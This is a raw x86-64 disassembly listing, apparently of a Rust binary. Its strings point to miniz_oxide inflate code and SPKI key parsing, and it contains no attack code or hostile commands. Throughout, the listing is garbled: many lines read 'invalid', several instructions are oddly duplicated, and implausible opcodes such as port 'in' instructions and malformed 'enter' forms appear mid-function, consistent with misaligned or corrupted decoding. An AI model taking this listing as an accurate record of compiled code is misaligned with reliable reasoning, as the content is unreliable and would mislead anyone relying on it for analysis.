jae 0x1a7f1b7d6d1
shr r10d, 1
movzx ebp, word [r15 + rcx*2 + 0x800]
add byte [r8], r9b
add byte [rax], al
add byte [r8], r9b
add byte [rax], al
test bp, bp
jne 0x1a7f1b7d5d8
lea rcx, [r15 + rcx*2]
add rcx, 0x800
mov word [rcx], dx
lea ecx, [rdx - 2]
jmp 0x1a7f1b7d5d4
bt r10d, 1
adc bp, 0
movsx rcx, bp
cmp cx, 0x240
jae 0x1a7f1b7d6f2
mov word [r15 + rcx*2 + 0x800], ax
jmp 0x1a7f1b7d513
mov eax, dword [rdi + 0x28fc]
test eax, eax
je 0x1a7f1b7d66d
cmp eax, 2
je 0x1a7f1b7d677
dec eax
mov dword [rdi + 0x28fc], eax
jmp 0x1a7f1b7d412
mov ax, 0x1b00
jmp 0x1a7f1b7d67f
and dword [rsi + 0x10], 0
mov ax, 0xc00
add byte [rbx + rbp*8], cl
invalid
add byte [rbx + rbp*8], cl
or byte [rbx + 0x66001066], al
mov eax, 0xb70f0a00
shl byte [0x1a7f1b7f588], 0x83
enter 0xf01, 0x28
mov ah, 0x24
mov al, 0
add byte [rax], al
and dword [rsi + 0x10], 0
mov ax, 0xa00
movzx eax, ax
and eax, 0x1f00
or eax, 1
movaps xmm6, xmmword [rsp + 0xb0]
add rsp, 0xc0
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
invalid
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflatecore.rs_5
mov edx, 0x10
jmp 0x1a7f1b7d6dd
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflatecore.rs_5
add eax, 0xd6017
mov edx, 0x120
mov rcx, rax
jmp 0x1a7f1b7d6dd
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflatecore.rs_5
mov edx, 0x11
jmp 0x1a7f1b7d6dd
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflatecore.rs_5
add byte [rdx + 0x240], bh
mov edx, 0x240
call fcn.1a7f1c2fb60
ud2
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflatecore.rs_5
mov edx, 3
jmp 0x1a7f1b7d6dd
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflatecore.rs_5
jmp 0x1a7f1b7d6d8
test dword [rcx + rcx*4 + 0x36], 0x38c48348
pop rbx
pop rdi
pop rsi
pop r14
ret
add byte [rax], al
mov rsi, rdi
sub rsi, r9
and rsi, r8
cmp rbx, 3
jne case.0x1a7f1b6fd85.199
invalid
invalid
cmp rsi, r10
jae 0x1a7f1b7da41
cmp rdi, r10
jae 0x1a7f1b7da4a
add byte [rax], al
add byte [rax], al
mov al, byte [rdx + rsi]
mov byte [rdx + rdi], al
lea rcx, [rsi + 1]
and rcx, r8
cmp rcx, r10
cmp ecx, edx
cmp ecx, edx
jae 0x1a7f1b7da53
lea rax, [rdi + 1]
cmp rax, r10
jae 0x1a7f1b7da5c
mov cl, byte [rdx + rcx]
mov byte [rdx + rax], cl
add rsi, 2
and rsi, r8
cmp rsi, r10
jae 0x1a7f1b7da68
add rdi, 2
cmp rdi, r10
cmp edi, edx
cmp edi, edx
jae 0x1a7f1b7da74
sub dword [rcx + rax + 0x48a0000], 0x32
mov al, byte [rdx + rsi]
mov byte [rdx + rdi], al
jmp 0x1a7f1b7da32
mov rax, rsi
sub rax, rdi
jb 0x1a7f1b7d900
cmp rax, rbx
jae 0x1a7f1b7d900
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], rbx
mov rcx, rdx
mov rdx, r10
mov r8, rsi
mov r9, rdi
call 0x1a7f1b7da88
jmp 0x1a7f1b7da32
cmp rbx, r9
ja 0x1a7f1b7d996
lea r14, [rsi + rbx]
cmp r14, r10
jae 0x1a7f1b7d996
cmp rsi, rdi
jae 0x1a7f1b7d9b4
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xd60f2
lea rax, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflatecore.rs_5
mov qword [rsp + 0x20], rax
lea r15, [rsp + 0x38]
lea edi, [rsp + 0x38]
lea edi, [rsp + 0x38]
mov rcx, r15
mov r8, r10
mov r9, rdi
call fcn.1a7f1b7dd09
add byte [rax], al
add byte [rax], al
mov rdi, qword [r15]
mov r12, qword [r15 + 8]
mov rcx, qword [r15 + 0x10]
mov rdx, qword [r15 + 0x18]
lea r9, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflatecore.rs_5
mov r8, rbx
call fcn.1a7f1b7b1bf
mov rbx, rax
mov r15, rdx
lea rax, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflatecore.rs_5
mov qword [rsp + 0x20], rax
and al, 0x20
and al, 0x20
mov rcx, rsi
mov rdx, r14
mov r8, rdi
mov r9, r12
mov ecx, esp
mov ecx, esp
call fcn.1a7f1b7b187
mov r9, rdx
lea rcx, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflatecore.rs_5
mov qword [rsp + 0x20], rcx
mov rcx, rbx
jmp 0x1a7f1b7da27
mov rcx, rdx
mov rdx, r10
mov r8, rsi
mov r9, rdi
mov ecx, edi
mov ecx, edi
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
jmp 0x1a7f1b7da88
lea rax, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflatecore.rs_5
mov qword [rsp + 0x20], rax
lea r14, [rsp + 0x38]
mov rcx, r14
mov r8, r10
mov r9, rsi
call fcn.1a7f1b7dd09
mov r8, qword [r14]
mov r9, qword [r14 + 8]
mov rsi, qword [r14 + 0x10]
mov r14, qword [r14 + 0x18]
lea rdx, [rbx + rdi]
lea edx, [rbx + rdi]
lea edx, [rbx + rdi]
lea rax, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflatecore.rs_5
mov qword [rsp + 0x20], rax
mov rcx, rdi
call fcn.1a7f1b7b187
mov rdi, rax
mov r15, rdx
lea r9, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflatecore.rs_5
mov rcx, rsi
mov rdx, r14
mov r8, rbx
call fcn.1a7f1b7b1bf
mov r9, rdx
lea rcx, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflatecore.rs_5
mov qword [rsp + 0x20], rcx
mov rcx, rdi
mov rdx, r15
mov r8, rax
call fcn.1a7f1b66f2f
nop
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflatecore.rs_5
jmp 0x1a7f1b7da6f
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflatecore.rs_5
add eax, 0xd5eef
jmp 0x1a7f1b7da7b
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflatecore.rs_5
jmp 0x1a7f1b7da7e
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflatecore.rs_5
mov rcx, rax
jmp 0x1a7f1b7da7e
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflatecore.rs_5
sbb dword [rdi + 0xd], ebx
add byte [rax - 0x77], cl
int1
mov rcx, rsi
jmp 0x1a7f1b7da7e
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflatecore.rs_5
mov rcx, rdi
mov rdx, r10
call fcn.1a7f1c2fb60
ud2
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
mov rsi, qword [rsp + 0x78]
mov r11, qword [rsp + 0x70]
mov rdi, r11
shr rdi, 2
lea rbx, [r9 + rcx]
add rbx, 3
xor r14d, r14d
lea rax, [r9 + r14]
lea r10, [r8 + r14]
sub rdi, 1
jb 0x1a7f1b7db6a
and r10, rsi
cmp r10, rdx
jae 0x1a7f1b7dc56
cmp rax, rdx
jae 0x1a7f1b7dc5f
invalid
mov eax, dword [rcx]
add byte [rax], al
or dword [rbx + 0x42000001], 0xffffff8a
add al, 0x11
mov al, byte [rcx + r10]
mov byte [rbx + r14 - 3], al
lea rax, [r8 + r14]
inc rax
and rax, rsi
cmp rax, rdx
jae 0x1a7f1b7dc68
lea r10, [r9 + r14]
inc r10
cmp r10, rdx
jae 0x1a7f1b7dc71
mov al, byte [rcx + rax]
mov byte [rbx + r14 - 2], al
lea rax, [r8 + r14]
add rax, 2
and rax, rsi
cmp rax, rdx
jae 0x1a7f1b7dc7a
lea r10, [r9 + r14]
add r10, 2
cmp r10, rdx
jae 0x1a7f1b7dc83
mov al, byte [rcx + rax]
mov byte [rbx + r14 - 1], al
lea rax, [r8 + r14]
xor byte [rax - 0x7d], cl
rol byte [rbx], 0x48
and eax, esi
xor byte [rax - 0x7d], cl
rol byte [rbx], 0x48
and eax, esi
cmp rax, rdx
jae 0x1a7f1b7dc8c
lea r10, [r9 + r14]
add r10, 3
cmp r10, rdx
jae 0x1a7f1b7dc98
mov al, byte [rcx + rax]
mov byte [rbx + r14], al
add r14, 4
jmp 0x1a7f1b7daad
and r11d, 3
lea r8, [0x1a7f1c9e468]
lea eax, [0x1a7f1c9e468]
lea eax, [0x1a7f1c9e468]
movsxd r9, dword [r8 + r11*4]
add r9, r8
jmp r9
and r10, rsi
cmp r10, rdx
jae 0x1a7f1b7dca9
cmp rax, rdx
jb 0x1a7f1b7dc45
mov cl, 0
add byte [rax], al
mov cl, 0
add byte [rax], al
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflatecore.rs_5
jmp 0x1a7f1b7dc93
cmp eax, edx
jb 0x1a7f1b7dc45
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflatecore.rs_5
jmp 0x1a7f1b7dc93
cmp rax, rdx
jae 0x1a7f1b7dd00
mov dl, byte [rcx + r10]
mov byte [rcx + rax], dl
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflatecore.rs_5
jmp 0x1a7f1b7dc9f
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflatecore.rs_5
jmp 0x1a7f1b7dc93
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflatecore.rs_5
jmp 0x1a7f1b7dc93
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflatecore.rs_5
jmp 0x1a7f1b7dc9f
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflatecore.rs_5
jmp 0x1a7f1b7dc93
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflatecore.rs_5
jmp 0x1a7f1b7dc9f
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflatecore.rs_5
mov rcx, rax
jmp 0x1a7f1b7dca2
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflatecore.rs_5
mov rcx, r10
call fcn.1a7f1c2fb60
ud2
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflatecore.rs_5
jmp 0x1a7f1b7dc9f
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflatecore.rs_5
jmp 0x1a7f1b7dc93
add byte [rax], al
mov r15b, byte [rsp + 0x74]
movzx r13d, word [rsp + 0x75]
lea rbx, [rsp + 0x30]
mov rcx, rbx
mov rdx, rdi
call fcn.1a7f1b84b69
mov r12d, dword [rbx]
cmp r12d, 2
jne 0x1a7f1b845cc
add byte [rax], al
add byte [rax], al
mov word [rsp + 0x2c], r13w
movzx r13d, byte [rsp + 0x34]
test r13b, r13b
js 0x1a7f1b8461e
mov r14d, r13d
movzx edx, r15b
movzx edx, bh
movzx eax, word [rsp + 0x2c]
shl eax, 8
or edx, eax
lea rbx, [rsp + 0x30]
mov rcx, rbx
mov r8d, 1
call fcn.1a7f1b7585c
mov r12d, dword [rbx]
cmp r12d, 2
jne 0x1a7f1b84632
and r14d, 0xffffff00
or r14d, r13d
lea rbx, [rsp + 0x30]
mov rcx, rbx
mov rdx, rdi
mov r8d, r14d
call fcn.1a7f1b84acd
add byte [rbx + rcx*4 + 0x23], al
add byte [rbx + rcx*4 + 0x23], al
cmp r12d, 2
jne 0x1a7f1b846ba
mov rdx, qword [rdi]
lea rbx, [rsp + 0x70]
mov rcx, rbx
mov r8d, r14d
call fcn.1a7f1b752e9
mov r12d, dword [rbx]
cmp r12d, 2
jne 0x1a7f1b846ee
mov rax, qword [rsp + 0x80]
mov rcx, rax
shl rcx, 0x20
or rcx, 0xc
xor r12d, r12d
in al, 0x48
cmp eax, 0x10000000
in al, 0x48
cmp eax, 0x10000000
jae 0x1a7f1b84548
mov rcx, qword [rsp + 0x78]
jae 0x1a7f1b8491a
xor r12d, r12d
mov r13d, 0x107
test rax, rax
je 0x1a7f1b849d2
cmp rax, 1
jne 0x1a7f1b84931
mov dl, byte [rcx]
test dl, dl
jne 0x1a7f1b8493b
mov eax, 1
jmp 0x1a7f1b84943
mov word [rax + rax*4], fs
add byte [rax], al
add byte [rax - 0x75], cl
pushfq
and al, 0x88
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], al
and al, 0x90
add byte [rax], al
add byte [rdi], cl
adc byte [rsp + 0x94], al
movaps xmmword [rsp + 0xb0], xmm0
mov r10d, dword [rsp + 0xa4]
mov dword [rsp + 0xc0], r10d
jmp 0x1a7f1b84840
mov r11b, byte [rsp + 0x34]
mov bpl, byte [rsp + 0x38]
movzx eax, byte [rsp + 0x37]
shl eax, 0x10
movzx edx, word [rsp + 0x35]
or edx, eax
mov r10b, byte [rsp + 0x39]
movzx ecx, word [rsp + 0x3a]
mov eax, dword [rsp + 0x3c]
mov r9, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x48]
mov r8d, dword [rsp + 0x50]
movups xmm0, xmmword [rsp + 0x54]
movaps xmmword [rsp + 0x70], xmm0
mov r14d, dword [rsp + 0x64]
mov dword [rsp + 0x80], r14d
jmp 0x1a7f1b847e2
xor r12d, r12d
cmp r13d, 0x80
jne 0x1a7f1b84664
mov bpl, 5
jmp 0x1a7f1b847dc
mov r13, qword [rsp + 0x38]
mov r9, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x48]
mov r8d, dword [rsp + 0x50]
movups xmm0, xmmword [rsp + 0x54]
movaps xmmword [rsp + 0x70], xmm0
mov eax, dword [rsp + 0x64]
mov dword [rsp + 0x80], eax
mov edx, dword [rsp + 0x34]
jmp 0x1a7f1b8486c
mov bpl, 0xd
cmp r13b, 0x84
ja 0x1a7f1b847dc
mov byte [rsp + 0x2e], r15b
mov r15, r13
xor r15, 0x80
xor r14d, r14d
lea rbx, [rsp + 0x30]
sub r15, 1
jb case.0x1a7f1b5b061.334
mov rcx, rbx
mov rdx, rdi
call fcn.1a7f1b84b69
mov r12d, dword [rsp + 0x30]
cmp r12d, 2
jne 0x1a7f1b848c3
shl r14d, 8
movzx eax, byte [rsp + 0x34]
or r14d, eax
jmp 0x1a7f1b84688
mov eax, dword [rsp + 0x64]
mov dword [rsp + 0xa4], eax
movups xmm0, xmmword [rsp + 0x34]
movups xmm1, xmmword [rsp + 0x44]
movups xmm2, xmmword [rsp + 0x54]
movups xmmword [rsp + 0x94], xmm2
xchg esp, eax
add byte [rax], al
add byte [rdi], cl
adc dword [rsp + 0x84], ecx
invalid
xchg esp, eax
add byte [rax], al
add byte [rdi], cl
adc dword [rsp + 0x84], ecx
invalid
add byte [rdi], cl
adc dword [rsp + 0x74], eax
movups xmmword [rsp + 0x74], xmm0
mov dword [rsp + 0x70], r12d
mov edx, dword [rsp + 0x74]
mov rcx, qword [rsp + 0x78]
mov ecx, dword [rsp + 0x78]
mov ecx, dword [rsp + 0x78]
mov r9, qword [rsp + 0x80]
mov rax, qword [rsp + 0x88]
mov eax, dword [rsp + 0x88]
movabs r10, 0xffffffff00000000
and r10, rax
mov r8d, dword [rsp + 0x90]
add byte [rdi], cl
adc byte [rsp + 0x94], al
invalid
add byte [rax], al
add byte [rdi], cl
adc byte [rsp + 0x94], al
invalid
add byte [rdi], cl
sub dword [rsp + 0xb0], eax
test byte [rax + rsi*4], ah
add byte [rax], al
invalid
movaps xmmword [rsp + 0xb0], xmm0
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rbx + rcx*4 - 0x64], al
and al, 0xa4
add byte [rax], al
add byte [rcx + rcx*4 - 0x64], al
pushfq
mov r11d, dword [rsp + 0xa4]
mov dword [rsp + 0xc0], r11d
pushfq
and al, 0xc0
add byte [rax], al
invalid
pushfq
and al, 0xc0
add byte [rax], al
add byte [rcx - 0x2cf6b33d], cl
mov ebx, eax
or rbx, r10
movaps xmm0, xmmword [rsp + 0xb0]
movaps xmmword [rsp + 0x70], xmm0
and al, 0x70
and al, 0xb0
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x70], eax
and al, 0x70
and al, 0x70
mov eax, dword [rsp + 0xc0]
mov dword [rsp + 0x80], eax
mov r13, rcx
jmp 0x1a7f1b8486c
xor r12d, r12d
cmp r14d, 0xfffffff
in al, 0x41
cmp esi, 0xfffffff
mov r15b, byte [rsp + 0x2e]
ja 0x1a7f1b84927
mov ecx, r14d
and ecx, 0xffffff80
loope 0x1a7f1b846ff
loope 0x1a7f1b846ff
mov al, 1
mov dl, 0x81
cmp ecx, 0x80
je 0x1a7f1b847be
lea ecx, [r14 - 0x100]
lea ecx, [rsi - 0x100]
mov es, word [rax]
invalid
mov dl, 0x82
cmp ecx, 0xff00
jb 0x1a7f1b847be
lea ecx, [r14 - 0x10000]
mov dl, 0x83
cmp ecx, 0xff0000
add byte [rax], al
inc dword [rax]
add byte [rax], al
inc dword [rax]
jb 0x1a7f1b847be
lea eax, [r14 - 0x1000000]
cmp eax, 0xf000000
setb al
mov dl, 0x84
invalid
test byte [rax + rax*8 + 0x54881a74], al
and al, 0x2f
test al, al
je 0x1a7f1b847dc
mov byte [rsp + 0x2f], dl
cmp byte [rsp + 0x2f], r13b
movzx r13d, word [rsp + 0x2c]
jne 0x1a7f1b847e2
movzx r13d, r14b
jmp 0x1a7f1b844ad
invalid
inc dword [rdi + rcx - 0x49]
insb byte [rdi], dx
and al, 0x2c
movzx r13d, word [rsp + 0x2c]
shl edx, 8
movzx r11d, r11b
cmp bpl, 0xd
jne 0x1a7f1b847f7
xor r12d, r12d
mov bpl, 6
jmp 0x1a7f1b84814
mov r14d, dword [rsp + 0x80]
mov dword [rsp + 0x40], r14d
movaps xmm0, xmmword [rsp + 0x70]
movaps xmm0, xmmword [rsp + 0x70]
movaps xmmword [rsp + 0x30], xmm0
mov r13d, ecx
mov r15d, r10d
or edx, r11d
movzx r10d, r13w
mov bh, 0xd5
mov bh, 0xd5
shl r10d, 8
movzx ecx, r15b
or byte [rcx + 0xf], al
mov dh, 0xcf
or ecx, r10d
mov r10d, dword [rsp + 0x40]
mov dword [rsp + 0xc0], r10d
movaps xmm0, xmmword [rsp + 0x30]
movaps xmmword [rsp + 0xb0], xmm0
shl ecx, 8
movzx r13d, bpl
in eax, dx
in eax, dx
or r13d, ecx
shl rax, 0x20
mov ecx, dword [rsp + 0xc0]
mov dword [rsp + 0x80], ecx
movaps xmm0, xmmword [rsp + 0xb0]
movaps xmmword [rsp + 0x70], xmm0
or r13, rax
test r12d, r12d
cmove edx, r12d
add edx, dword [rdi + 0xc]
or al, 0xf
xchg ebx, eax
rol byte [rcx + 0xfa], 0x10
or al, 0xf
xchg ebx, eax
rol byte [rcx + 0xfa], 0x10
setb cl
and cl, al
movzx eax, cl
mov qword [rsi + 8], r13
mov qword [rsi + 0x10], r9
mov qword [rsi + 0x18], rbx
mov dword [rsi + 0x20], r8d
movaps xmm0, xmmword [rsp + 0x70]
movups xmmword [rsi + 0x24], xmm0
adc dword [rsi + 0x24], eax
adc dword [rsi + 0x24], eax
mov ecx, dword [rsp + 0x80]
mov dword [rsi + 0x34], ecx
mov dword [rsi], eax
mov dword [rsi + 4], edx
add rsp, 0xc8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov r11b, byte [rsp + 0x34]
mov bpl, byte [rsp + 0x38]
movzx eax, byte [rsp + 0x37]
shl eax, 0x10
movzx edx, word [rsp + 0x35]
or edx, eax
mov r10b, byte [rsp + 0x39]
movzx ecx, word [rsp + 0x3a]
mov eax, dword [rsp + 0x3c]
mov r9, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x48]
mov r8d, dword [rsp + 0x50]
movups xmm0, xmmword [rsp + 0x54]
movaps xmmword [rsp + 0x70], xmm0
mov r14d, dword [rsp + 0x64]
mov dword [rsp + 0x80], r14d
mov r15b, byte [rsp + 0x2e]
jmp 0x1a7f1b847dc
invalid
xor r10d, r10d
mov r9, rax
mov edx, eax
jmp 0x1a7f1b8473c
invalid
invalid
invalid
mov bpl, 0xc
xor edx, edx
jmp 0x1a7f1b847dc
invalid
dec dword [rdx + 0xfd28411]
test byte [rcx - 0x7c000000], dl
ror byte [rdi], cl
mov byte [rcx + 0x48000000], al
add byte [rax], al
add byte [rax - 0x77], cl
invalid
mov dl, byte [rcx]
test dl, dl
je case.0x1a7f1b92526.171
adc dword [rdx + rdx*8 + 0x91840f], eax
add byte [rax], al
test dl, dl
js 0x1a7f1b849c4
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
ret 0x76e8
mov rdx, rax
call 0x1a7f1b753c1
mov rbx, rdx
cmp rdx, 0xfffffff
cli
invalid
invalid
dec dword [rdi]
cli
invalid
ja 0x1a7f1b849ab
mov r15, rax
mov rcx, rax
mov rdx, rbx
call 0x1a7f1b753c1
cmp rdx, 0xfffffff
ja 0x1a7f1b849d7
xor r12d, r12d
mov ecx, 0
in al, 0xb9
add byte [rax], al
add byte [rax], al
test rdx, rdx
je 0x1a7f1b84981
sal byte [rsi + rax + 0xf], cl
mov dh, 8
movzx ecx, byte [rax]
shr ecx, 7
add ecx, edx
jb 0x1a7f1b849e4
cmp ecx, 0x10000000
add byte [rax], al
adc byte [rbx + 0x57], dh
add byte [rax], dl
jae 0x1a7f1b849e4
cmp ecx, r14d
jne 0x1a7f1b849d2
mov eax, ebx
mov qword [rsi + 8], r15
mov qword [rsi + 0x10], rbx
mov qword [rsi + 0x18], rax
mov dword [rsi], 2
jmp 0x1a7f1b848af
mov r9, rbx
shl r9, 0x20
and byte [rcx - 0x7d], cl
leave
or al, 0x41
mov ebp, 0x1010106
invalid
add dword [rcx], eax
invalid
and byte [rcx - 0x7d], cl
leave
or al, 0x41
mov ebp, 0x1010106
invalid
add dword [rcx], eax
invalid
invalid
mov r8d, ebx
jmp 0x1a7f1b8486c
mov r13d, 0x117
jmp 0x1a7f1b849d2
cmp byte [rcx + 1], 0
js 0x1a7f1b849ee
jmp 0x1a7f1b8486c
mov r13, rdx
shl r13, 0x20
or r13, 0xc
jmp 0x1a7f1b849d2
mov edx, ecx
mov r13d, 0xc
jmp 0x1a7f1b849d2
inc rcx
dec rax
enter 0x4ae9, 0xffffffffffffffff
invalid
invalid
enter 0x4ae9, 0xffffffffffffffff
invalid
mov byte [rcx + rax - 0x3f], cl
jmp rcx
add eax, 8
lea rcx, [rsp + 0x20]
and byte [rax - 0x77], cl
add dword [rax - 0x73], ecx
and al, 0x28
and byte [rax - 0x77], cl
add dword [rax - 0x73], ecx
and al, 0x28
mov qword [rax], rcx
lea rcx, [0x1a7f1bbe2ab]
lea ecx, [0x1a7f1bbe2ab]
lea ecx, [0x1a7f1bbe2ab]
mov qword [rax + 8], rcx
lea rcx, [0x1a7f1c556c0]
invalid
or al, 0xd
add bl, ch
invalid
xchg dword [rcx + 0x4841eb00], ecx
mov ecx, dword [rdx + 0x20]
or al, 0xd
add bl, ch
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c556f7]
lea edx, [0x1a7f1c556f7]
lea edx, [0x1a7f1c556f7]
mov r8d, 0x25
jmp 0x1a7f1b84ac6
and eax, 0xeb000000
jo 0x1a7f1b84a9f
add eax, 8
lea rcx, [rsp + 0x20]
mov qword [rcx], rax
lea rax, [rsp + 0x28]
mov qword [rax], rcx
lea rcx, [0x1a7f1b84c2b]
add byte [rax - 0x77], cl
or byte [rax - 0x73], cl
or eax, 0xd0cb4
add byte [rax - 0x77], cl
or byte [rax - 0x73], cl
or eax, 0xd0cb4
lea r8, [rsp + 0x38]
mov qword [r8], rcx
mov ecx, 1
mov qword [r8 + 8], rcx
and qword [r8 + 0x20], 0
mov qword [r8 + 0x10], rax
mov qword [r8 + 0x18], rcx
sbb byte [rax - 0x75], cl
and byte [rax - 0x75], cl
push rdx
invalid
sbb byte [rax - 0x75], cl
and byte [rax - 0x75], cl
push rdx
sub al, ch
xchg r14b, dil
call qword [rax + 0x68c48348]
mov edx, dword [rdx + 0x28]
call fcn.1a7f1b6d0f0
nop
add rsp, 0x68
ret
add rsp, 0x68
jmp rax
test r9b, r9b
jne 0x1a7f1b84b5e
mov byte [rcx + 8], 3
mov dword [rcx + 0xc], r8d
mov dword [rcx + 0x10], eax
mov dword [rcx], 1
mov dword [rcx + 4], edx
ret
or byte [r11 + rax*4], cl
and dword [rax], eax
mov dword [rcx + 4], r10d
ret
add al, 0xc3
mov byte [rcx + 8], 0xc
and dword [rcx], 0
mov dword [rcx + 4], eax
ret
mov ecx, ebx
mov r8d, 1
call fcn.1a7f1b84acd
mov eax, dword [rbx]
cmp eax, 2
jne 0x1a7f1b84bc2
mov rdx, qword [rdi]
lea rdi, [rsp + 0x30]
lea r8, [rsp + 0x2f]
mov rcx, rdi
call fcn.1a7f1b7525b
mov eax, dword [rdi]
cmp eax, 2
jne 0x1a7f1b84bee
mov al, byte [rsp + 0x2f]
mov byte [rsi + 4], al
mov eax, 2
jmp 0x1a7f1b84c1e
mov ecx, dword [rsp + 0x9c]
mov dword [rsp + 0x64], ecx
movups xmm0, xmmword [rsp + 0x6c]
movups xmm1, xmmword [rsp + 0x7c]
movups xmm2, xmmword [rsp + 0x8c]
movups xmmword [rsp + 0x54], xmm2
movups xmmword [rsp + 0x44], xmm1
movups xmmword [rsp + 0x34], xmm0
mov ecx, dword [rsp + 0x34]
movups xmm0, xmmword [rsp + 0x38]
movups xmm1, xmmword [rsp + 0x48]
movups xmmword [rsi + 0x18], xmm1
mov rdx, qword [rsp + 0x58]
mov qword [rsi + 0x28], rdx
mov edx, dword [rsp + 0x60]
mov dword [rsi + 0x30], edx
mov edx, dword [rsp + 0x64]
mov dword [rsi + 0x34], edx
mov dword [rsi + 4], ecx
movups xmmword [rsi + 8], xmm0
mov dword [rsi], eax
add rsp, 0xa0
add byte [rax], al
add byte [rax], al
pop rbx
pop rdi
pop rsi
ret
cmovb r8d, ecx
lea rcx, [0x1a7f1c9e488]
movsxd r8, dword [rcx + r8*4]
add r8, rcx
jmp r8
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0xdbfe0
sbb byte [rax - 0x73], cl
adc eax, 0xdbfe0
mov r8d, 0x26
jmp 0x1a7f1b84c89
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.SPKI_cryptographic_key_data_malformedunknown_unsupported_algorithm_OID:
mov r8d, 0x25
invalid
add byte [rax - 0x7d], cl
invalid
add rsp, 0x68
jmp rax
add rax, 4
lea rcx, [rsp + 0x20]
mov qword [rcx], rax
lea rax, [rsp + 0x28]
mov qword [rax], rcx
lea rcx, [0x1a7f1b677ab]
mov qword [rax + 8], rcx
lea rcx, [0x1a7f1c60cd8]
jmp 0x1a7f1b84cda
lea rcx, [rsp + 0x20]
mov qword [rcx], rax
lea rax, [rsp + 0x28]
mov qword [rax], rcx
lea rcx, [0x1a7f1bbe2ab]
mov qword [rax + 8], rcx
lea rcx, [0x1a7f1c60c80]
lea r8, [rsp + 0x38]
mov qword [r8], rcx
mov ecx, 1
mov qword [r8 + 8], rcx
and qword [r8 + 0x20], 0
mov qword [r8 + 0x10], rax
mov qword [r8 + 0x18], rcx
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
call fcn.1a7f1b6d0f0
nop
add rsp, 0x68
ret
pop rdi
pop rsi
pop r14
ret
mov dword [rsp + 4], eax
mov eax, dword [rcx + 0x12]
mov dword [rsp], eax
mov rax, qword [rcx + 0x18]
jmp 0x1a7f1b892d1
adc cl, byte [r9 - 0x74b7dbfc]
sbb r11b, bpl
